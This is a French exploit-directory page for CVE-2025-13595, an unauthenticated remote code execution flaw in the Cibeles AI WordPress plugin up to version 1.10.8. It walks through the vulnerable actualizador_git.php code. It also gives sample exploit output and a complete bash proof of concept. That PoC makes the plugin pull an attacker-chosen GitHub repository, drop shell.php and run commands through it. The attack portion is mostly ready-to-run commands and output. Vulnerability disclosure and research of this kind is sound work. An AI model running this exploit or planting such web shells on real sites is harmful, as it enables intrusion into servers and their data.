Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - Téléchargement de fichier arbitraire non authentifié | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-13595
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - Téléchargement de fichier arbitraire non authentifié

Voir le dépôt
15il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CIBELES AI <= 1.10.8 - Téléchargement Arbitraire de Fichier Non Authentifié

Le plugin WordPress Cibeles AI versions 1.10.8 et inférieures contient une vulnérabilité d'exécution de code à distance non authentifiée dans le fichier actualizador_git.php. Ce fichier est directement accessible via HTTP sans aucune vérification d'authentification ou d'autorisation, permettant à des attaquants non authentifiés de télécharger des dépôts GitHub arbitraires et de remplacer les fichiers du plugin, conduisant à une exécution de code à distance.

Exploits en bref

Un CVE-2025-13595.py est fourni pour démontrer qu'un attaquant distant peut télécharger shell.php et exécuter du code à distance :

python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

Analyse Technique

La vulnérabilité se trouve dans /wp-content/plugins/cibeles-ai/actualizador_git.php. Ce fichier implémente un système de miroir de dépôt GitHub accessible directement via HTTP sans aucun contrôle de sécurité.

Analyse du chemin de code

  1. Accès direct au fichier (Lignes 1-17) : Le fichier ne possède pas la vérification standard WordPress ABSPATH (if (!defined('ABSPATH')) exit;) qui empêche l'accès HTTP direct. Les paramètres sont lus directement depuis $_GET sans validation :

    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validation du jeton (Ligne 26) : La seule validation vérifie si le jeton est vide ou a la valeur par défaut. Aucune authentification ou autorisation n'est effectuée :

    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Requête à l'API GitHub (Ligne 31, 35-58) : Le script télécharge un fichier ZIP depuis l'API GitHub en utilisant des paramètres contrôlés par l'utilisateur :

    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    La fonction curl_download() envoie le jeton dans l'en-tête Authorization mais n'effectue aucune validation du propriétaire ou du contenu du dépôt.

  4. Extraction ZIP et opérations sur les fichiers (Lignes 133-158) : Le ZIP téléchargé est extrait et les fichiers sont copiés directement dans le répertoire du plugin :

    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    La fonction rrcopy_into() copie récursivement tous les fichiers du dépôt extrait vers le répertoire de travail courant (répertoire du plugin), en écrasant les fichiers existants.

  5. Suppression de fichiers (Lignes 152-154) : Les fichiers qui ne sont pas présents dans le dépôt téléchargé sont supprimés :

    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    La fonction mirror_delete_extras() supprime tous les fichiers du répertoire du plugin qui n'existent pas dans le manifeste du dépôt.

Preuve de Concept

TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Télécharger l’outil